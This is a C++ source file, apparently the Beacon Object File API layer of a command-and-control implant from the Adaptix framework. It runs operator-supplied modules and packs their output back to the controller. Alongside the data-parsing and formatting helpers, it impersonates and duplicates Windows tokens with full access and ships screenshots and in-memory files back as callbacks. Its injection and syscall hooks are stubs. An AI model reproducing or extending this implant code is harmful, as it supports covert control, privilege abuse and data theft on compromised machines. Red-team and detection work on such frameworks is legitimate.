538 lines
11 KiB
C++
538 lines
11 KiB
C++
#include "adaptix.h"
|
|
#include "utils.h"
|
|
#include "ApiLoader.h"
|
|
#include "Packer.h"
|
|
#include "Agent.h"
|
|
#include "main.h"
|
|
#include "Boffer.h"
|
|
|
|
Packer* bofOutputPacker = NULL;
|
|
int bofOutputCount = 0;
|
|
ULONG bofTaskId = 0;
|
|
HANDLE g_StoredToken = NULL;
|
|
|
|
BOOL IsAsyncBofThread();
|
|
void AsyncBofOutput(int type, PBYTE data, int dataSize);
|
|
|
|
void BofOutputToTask(int type, PBYTE data, int dataSize)
|
|
{
|
|
if (IsAsyncBofThread()) {
|
|
AsyncBofOutput(type, data, dataSize);
|
|
return;
|
|
}
|
|
|
|
if (bofOutputPacker) {
|
|
bofOutputPacker->Pack32(bofTaskId);
|
|
bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
|
|
bofOutputPacker->Pack32(type);
|
|
bofOutputPacker->PackBytes(data, dataSize);
|
|
}
|
|
}
|
|
|
|
void AsyncBofOutput(int type, PBYTE data, int dataSize)
|
|
{
|
|
AsyncBofContext* ctx = tls_CurrentBofContext;
|
|
if (!ctx || !ctx->outputBuffer)
|
|
return;
|
|
|
|
ApiWin->EnterCriticalSection(&ctx->outputLock);
|
|
|
|
ctx->outputBuffer->Pack32(ctx->taskId);
|
|
ctx->outputBuffer->Pack32(51); // COMMAND_EXEC_BOF_OUT
|
|
ctx->outputBuffer->Pack32(type);
|
|
ctx->outputBuffer->PackBytes(data, dataSize);
|
|
|
|
ApiWin->LeaveCriticalSection(&ctx->outputLock);
|
|
}
|
|
|
|
BOOL IsAsyncBofThread()
|
|
{
|
|
return (tls_CurrentBofContext != NULL);
|
|
}
|
|
|
|
unsigned int swap_endianess(unsigned int indata)
|
|
{
|
|
unsigned int testint = 0xaabbccdd;
|
|
unsigned int outint = indata;
|
|
if (((unsigned char*)&testint)[0] == 0xdd) {
|
|
((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3];
|
|
((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2];
|
|
((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1];
|
|
((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0];
|
|
}
|
|
return outint;
|
|
}
|
|
|
|
|
|
/// Data Parser API
|
|
|
|
//char* BeaconDataPtr(datap* parser, int size);
|
|
|
|
void BeaconDataParse(datap* parser, char* buffer, int size)
|
|
{
|
|
if (parser == NULL || buffer == NULL)
|
|
return;
|
|
|
|
parser->original = buffer;
|
|
parser->buffer = buffer;
|
|
parser->length = size - 4;
|
|
parser->size = size - 4;
|
|
parser->buffer += 4;
|
|
}
|
|
|
|
int BeaconDataInt(datap* parser)
|
|
{
|
|
if (parser == NULL)
|
|
return 0;
|
|
|
|
int fourbyteint = 0;
|
|
if (parser->length < 4) {
|
|
return 0;
|
|
}
|
|
memcpy(&fourbyteint, parser->buffer, 4);
|
|
parser->buffer += 4;
|
|
parser->length -= 4;
|
|
return (int)fourbyteint;
|
|
}
|
|
|
|
short BeaconDataShort(datap* parser)
|
|
{
|
|
if (parser == NULL)
|
|
return 0;
|
|
|
|
short retvalue = 0;
|
|
if (parser->length < 2) {
|
|
return 0;
|
|
}
|
|
memcpy(&retvalue, parser->buffer, 2);
|
|
parser->buffer += 2;
|
|
parser->length -= 2;
|
|
return (short)retvalue;
|
|
}
|
|
|
|
int BeaconDataLength(datap* parser)
|
|
{
|
|
if (parser == NULL)
|
|
return 0;
|
|
|
|
return parser->length;
|
|
}
|
|
|
|
char* BeaconDataExtract(datap* parser, int* size)
|
|
{
|
|
if (parser == NULL)
|
|
return 0;
|
|
|
|
unsigned int length = 0;
|
|
char* outdata = NULL;
|
|
if (parser->length < 4) {
|
|
return NULL;
|
|
}
|
|
memcpy(&length, parser->buffer, 4);
|
|
parser->length -= 4;
|
|
parser->buffer += 4;
|
|
|
|
outdata = parser->buffer;
|
|
if (outdata == NULL) {
|
|
return NULL;
|
|
}
|
|
|
|
parser->length -= length;
|
|
parser->buffer += length;
|
|
|
|
if (size != NULL && outdata != NULL) {
|
|
*size = length;
|
|
}
|
|
return outdata;
|
|
}
|
|
|
|
|
|
|
|
/// Output API
|
|
|
|
void BeaconOutput(int type, const char* data, int len)
|
|
{
|
|
if (data == NULL)
|
|
return;
|
|
|
|
BofOutputToTask(type, (PBYTE)data, len);
|
|
}
|
|
|
|
void BeaconPrintf(int type, const char* fmt, ...)
|
|
{
|
|
if (fmt == NULL)
|
|
return;
|
|
|
|
int length = 0;
|
|
va_list args;
|
|
|
|
va_start(args, fmt);
|
|
length = ApiWin->vsnprintf(NULL, 0, fmt, args);
|
|
va_end(args);
|
|
|
|
if (length == -1)
|
|
return;
|
|
length += 1;
|
|
|
|
char* tmp_output = (char*)MemAllocLocal(length);
|
|
|
|
va_start(args, fmt);
|
|
length = ApiWin->vsnprintf(tmp_output, length, fmt, args);
|
|
va_end(args);
|
|
|
|
BofOutputToTask(type, (PBYTE)tmp_output, length);
|
|
|
|
MemFreeLocal((LPVOID*)&tmp_output, length);
|
|
}
|
|
|
|
|
|
|
|
/// Format API
|
|
|
|
void BeaconFormatAlloc(formatp* format, int maxsz)
|
|
{
|
|
if (format == NULL) {
|
|
return;
|
|
}
|
|
format->original = (PCHAR)ApiWin->LocalAlloc(LPTR, maxsz);
|
|
format->buffer = format->original;
|
|
format->length = 0;
|
|
format->size = maxsz;
|
|
}
|
|
|
|
void BeaconFormatReset(formatp* format)
|
|
{
|
|
if (format == NULL)
|
|
return;
|
|
|
|
memset(format->original, 0, format->size);
|
|
format->buffer = format->original;
|
|
format->length = 0;
|
|
}
|
|
|
|
void BeaconFormatAppend(formatp* format, const char* text, int len)
|
|
{
|
|
if (format == NULL || text == NULL)
|
|
return;
|
|
|
|
memcpy(format->buffer, text, len);
|
|
format->buffer += len;
|
|
format->length += len;
|
|
}
|
|
|
|
void BeaconFormatPrintf(formatp* format, const char* fmt, ...)
|
|
{
|
|
if (format == NULL || fmt == NULL)
|
|
return;
|
|
|
|
va_list args;
|
|
int length = 0;
|
|
|
|
va_start(args, fmt);
|
|
length = ApiWin->vsnprintf(NULL, 0, fmt, args);
|
|
va_end(args);
|
|
|
|
if (length <= 0)
|
|
return;
|
|
|
|
if (format->length + length > format->size) {
|
|
return;
|
|
}
|
|
|
|
va_start(args, fmt);
|
|
ApiWin->vsnprintf(format->buffer, length + 1, fmt, args);
|
|
va_end(args);
|
|
format->length += length;
|
|
format->buffer += length;
|
|
}
|
|
|
|
char* BeaconFormatToString(formatp* format, int* size)
|
|
{
|
|
if (format == NULL)
|
|
return NULL;
|
|
if (size != NULL)
|
|
*size = format->length;
|
|
return format->original;
|
|
}
|
|
|
|
void BeaconFormatFree(formatp* format)
|
|
{
|
|
if (format == NULL)
|
|
return;
|
|
|
|
if (format->original) {
|
|
MemFreeLocal((LPVOID*) &format->original, format->size);
|
|
}
|
|
format->buffer = NULL;
|
|
format->length = 0;
|
|
format->size = 0;
|
|
}
|
|
|
|
void BeaconFormatInt(formatp* format, int value)
|
|
{
|
|
if (format == NULL)
|
|
return;
|
|
|
|
unsigned int indata = value;
|
|
unsigned int outdata = 0;
|
|
if (format->length + 4 > format->size) {
|
|
return;
|
|
}
|
|
outdata = swap_endianess(indata);
|
|
memcpy(format->buffer, &outdata, 4);
|
|
format->length += 4;
|
|
format->buffer += 4;
|
|
}
|
|
|
|
|
|
|
|
/// Internal APIs
|
|
|
|
BOOL BeaconUseToken(HANDLE token)
|
|
{
|
|
if (ApiWin->ImpersonateLoggedOnUser(token) || ApiWin->SetThreadToken(NULL, token)) {
|
|
if (g_StoredToken) {
|
|
ApiNt->NtClose(g_StoredToken);
|
|
g_StoredToken = NULL;
|
|
}
|
|
ApiWin->DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &g_StoredToken);
|
|
return TRUE;
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
void BeaconRevertToken(void)
|
|
{
|
|
ApiWin->RevertToSelf();
|
|
if (g_StoredToken) {
|
|
ApiNt->NtClose(g_StoredToken);
|
|
g_StoredToken = NULL;
|
|
}
|
|
}
|
|
|
|
BOOL BeaconIsAdmin(void)
|
|
{
|
|
BOOL high = IsElevate();
|
|
return high;
|
|
}
|
|
|
|
void BeaconGetSpawnTo(BOOL x86, char* buffer, int length)
|
|
{
|
|
char* tempBufferPath = NULL;
|
|
if ( !buffer )
|
|
return;
|
|
}
|
|
|
|
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo)
|
|
{
|
|
BOOL bSuccess = FALSE;
|
|
return bSuccess;
|
|
}
|
|
|
|
VOID BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len)
|
|
{
|
|
|
|
}
|
|
|
|
VOID BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len)
|
|
{
|
|
|
|
}
|
|
|
|
VOID BeaconCleanupProcess(PROCESS_INFORMATION* pInfo)
|
|
{
|
|
|
|
}
|
|
|
|
PDATA_STORE_OBJECT BeaconDataStoreGetItem(SIZE_T index)
|
|
{
|
|
return NULL;
|
|
}
|
|
|
|
VOID BeaconDataStoreProtectItem(SIZE_T index)
|
|
{
|
|
|
|
}
|
|
|
|
VOID BeaconDataStoreUnprotectItem(SIZE_T index)
|
|
{
|
|
|
|
}
|
|
|
|
ULONG BeaconDataStoreMaxEntries()
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
BOOL toWideChar(char* src, wchar_t* dst, int max)
|
|
{
|
|
if (max < sizeof(wchar_t))
|
|
return FALSE;
|
|
return ApiWin->MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, src, -1, dst, max / sizeof(wchar_t));
|
|
}
|
|
|
|
BOOL BeaconInformation(BEACON_INFO* info)
|
|
{
|
|
return FALSE;
|
|
}
|
|
|
|
BOOL BeaconAddValue(const char* key, void* ptr)
|
|
{
|
|
if (!key || StrLenA(key) == 0)
|
|
return FALSE;
|
|
|
|
for (const auto& pair : g_Agent->Values) {
|
|
if (StrCmpA((const char*)pair.key, key) == 0) {
|
|
return FALSE;
|
|
}
|
|
}
|
|
size_t keyLen = StrLenA(key) + 1;
|
|
CHAR* newKey = (CHAR*)MemAllocLocal(keyLen);
|
|
if (!newKey)
|
|
return FALSE;
|
|
|
|
memcpy(newKey, key, keyLen);
|
|
g_Agent->Values.insert(newKey, ptr);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
PVOID BeaconGetValue(const char* key)
|
|
{
|
|
if (!key || StrLenA(key) == 0)
|
|
return NULL;
|
|
|
|
for (const auto& pair : g_Agent->Values) {
|
|
if (StrCmpA((const char*)pair.key, key) == 0) {
|
|
return pair.value;
|
|
}
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
|
|
BOOL BeaconRemoveValue(const char* key)
|
|
{
|
|
if (!key || StrLenA(key) == 0)
|
|
return FALSE;
|
|
|
|
for (auto it = g_Agent->Values.begin(); it != g_Agent->Values.end(); ++it) {
|
|
if (StrCmpA((const char*)(*it).key, key) == 0) {
|
|
LPVOID lpKey = (*it).key;
|
|
DWORD dwBufferSize = StrLenA((*it).key) + 1;
|
|
MemFreeLocal(&lpKey, dwBufferSize);
|
|
g_Agent->Values.remove((*it).key);
|
|
return TRUE;
|
|
}
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
PCHAR BeaconGetCustomUserData()
|
|
{
|
|
return NULL;
|
|
}
|
|
|
|
/// System Call API
|
|
|
|
BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized)
|
|
{
|
|
return FALSE;
|
|
}
|
|
|
|
//LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
|
//LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
|
//BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
|
//BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
|
//BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
|
//BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
|
//BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
|
|
//DWORD BeaconResumeThread(HANDLE threadHandle);
|
|
//HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
|
|
//HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
|
|
//BOOL BeaconCloseHandle(HANDLE object);
|
|
//BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
|
|
//SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
|
|
//BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
|
|
//BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
|
|
//BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);
|
|
|
|
/// Async BOF API
|
|
|
|
BOOL BeaconRegisterThreadCallback(PVOID callbackFunction, PVOID callbackData)
|
|
{
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL BeaconUnregisterThreadCallback()
|
|
{
|
|
return TRUE;
|
|
}
|
|
|
|
void BeaconWakeup()
|
|
{
|
|
if (g_AsyncBofManager)
|
|
g_AsyncBofManager->SignalWakeup();
|
|
}
|
|
|
|
HANDLE BeaconGetStopJobEvent()
|
|
{
|
|
AsyncBofContext* ctx = tls_CurrentBofContext;
|
|
if (!ctx)
|
|
return NULL;
|
|
return ctx->hStopEvent;
|
|
}
|
|
|
|
/// 3rd party API
|
|
|
|
HMODULE proxy_LoadLibraryA(LPCSTR lpLibFileName)
|
|
{
|
|
return ApiWin->LoadLibraryA(lpLibFileName);
|
|
}
|
|
|
|
HMODULE proxy_GetModuleHandleA(LPCSTR lpModuleName)
|
|
{
|
|
return ApiWin->GetModuleHandleA(lpModuleName);
|
|
}
|
|
|
|
FARPROC proxy_GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
|
{
|
|
return ApiWin->GetProcAddress(hModule, lpProcName);
|
|
}
|
|
|
|
BOOL proxy_FreeLibrary(HMODULE hLibModule)
|
|
{
|
|
return ApiWin->FreeLibrary(hLibModule);
|
|
}
|
|
|
|
////////// AX Functions
|
|
|
|
void AxAddScreenshot(char* note, char* data, int len)
|
|
{
|
|
if (IsAsyncBofThread()) {
|
|
AsyncBofOutput(CALLBACK_AX_SCREENSHOT, (PBYTE)data, len);
|
|
return;
|
|
}
|
|
if (bofOutputPacker) {
|
|
bofOutputPacker->Pack32(bofTaskId);
|
|
bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
|
|
bofOutputPacker->Pack32(CALLBACK_AX_SCREENSHOT);
|
|
bofOutputPacker->PackStringA(note);
|
|
bofOutputPacker->PackBytes((PBYTE)data, len);
|
|
}
|
|
}
|
|
|
|
void AxDownloadMemory(char* filename, char* data, int len)
|
|
{
|
|
if (IsAsyncBofThread()) {
|
|
AsyncBofOutput(CALLBACK_AX_DOWNLOAD_MEM, (PBYTE)data, len);
|
|
return;
|
|
}
|
|
if (bofOutputPacker) {
|
|
bofOutputPacker->Pack32(bofTaskId);
|
|
bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
|
|
bofOutputPacker->Pack32(CALLBACK_AX_DOWNLOAD_MEM);
|
|
bofOutputPacker->PackStringA(filename);
|
|
bofOutputPacker->PackBytes((PBYTE)data, len);
|
|
}
|
|
} |